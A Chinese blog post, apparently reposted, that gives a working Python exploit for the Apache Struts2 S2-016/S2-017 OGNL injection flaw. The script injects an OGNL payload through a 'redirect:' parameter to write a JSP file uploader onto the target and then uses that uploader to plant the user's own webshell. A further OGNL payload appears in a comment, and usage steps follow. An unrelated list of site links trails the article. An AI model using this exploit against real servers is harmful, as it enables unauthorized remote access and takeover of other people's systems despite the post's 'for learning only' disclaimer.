struts2 S2-016/S2-017 Python GetShell
时间:2022-07-26
本文章向大家介绍struts2 S2-016/S2-017 Python GetShell,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
struts2 S2-016/S2-017 Python GetShell
之前在看PHP,要给协会写一个CTF,偶然看到乌云上发的最新struts2漏洞以及getshell,jsp我基本上也看不懂。折腾了一下,发现挺有意思,于是写一个python的脚本来自动化getshell吧~
……不知不觉已经快3点了……
#coding : utf-8
__author__ = 'Phtih0n'
import requests, sys, urllib
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}
def GetHost(url):
(type, rest) = urllib.splittype(url)
(host, rest) = urllib.splithost(rest)
return (type + "://" + host + "/")
def UpData(url):
ma = file("shell.jsp")
str = ma.read()
param = {}
param['f'] = 'bakup.jsp'
param['t'] = str
r = requests.post(url + "phithon.jsp", data=param, headers=headers)
r = requests.get(url + param['f'], headers=headers, allow_redirects=False)
if 200 == r.status_code:
print "success"
print "shell : " + url + param['f']
else:
print "fail"
def GetShell(url):
test = url + r'''/Struts2/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22phithon.jsp%22).replaceAll("\\", "/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e'''
r = requests.get(test, headers = headers )
url = GetHost(url)
r = requests.get(url + "phithon.jsp", headers = headers)
if r.status_code == 200:
UpData(url)
else:
print "fail"
try:
url = sys.argv[1]
except:
print "usage : %s url" % sys.argv[0]
GetShell(url)
#/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[phithon]'),%23w.flush(),%23w.close()}
使用条件及方法:
1.python安装requests库,此处有安装方法:https://www.leavesongs.com/PYTHON/PythonGetLink.html
2.将自己的jsp webshell改名为"shell.jsp",放在同一个目录下
3.使用方法:UseOfStruts.py http://xxxx/ 即可:
一般jsp权限挺大的,只要拿到webshell,一般就是管理员之类的:
不多说了,大家继续发挥折腾吧~我睡了……
我把源文件及我使用的jsp webshell打包发附件了。
最后说明,代码只用作学习,请不要作为攻击手段测试国内网站。
- 1415. [NOIP2001]数的计数
- 7828:最大公约数与最小公倍数
- POJ 2891 Strange Way to Express Integers
- html5网页中用video标签无法播放MP4视频的解决方法
- 14:求10000以内n的阶乘
- 12:计算2的N次方
- HDU 1573 X问题
- 1083 Cantor表
- 1160 蛇形矩阵
- Django rest framework(5)----解析器
- Django rest framework(6)----序列化
- 扩展中国剩余定理详解
- Django rest framework(7)----分页
- 洛谷P3807 【模板】卢卡斯定理exgcd
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- CentOS服务器环境下MySQL主从同步配置方法
- awk命令
- linux下C语言实现写日志功能
- centOS7下Spark安装配置教程详解
- linux tail 查看日志文件方法
- Linux下Python脚本自启动和定时启动的详细步骤
- linux后台执行命令&和nohup的具体使用方法
- Linux修改hostname与免密码登录的方法
- Linux启动与停止spring boot工程的脚本示例
- 在Linux上如何检查用户所属组详解
- Linux中移除(删除)符号链接的命令
- Linux定时备份数据库到指定邮箱的方法
- 详解nohup /dev/null 2>&1 含义的使用
- centOS7安装jdk1.8的方法
- 你知道一台Linux服务器可以负载多少个连接吗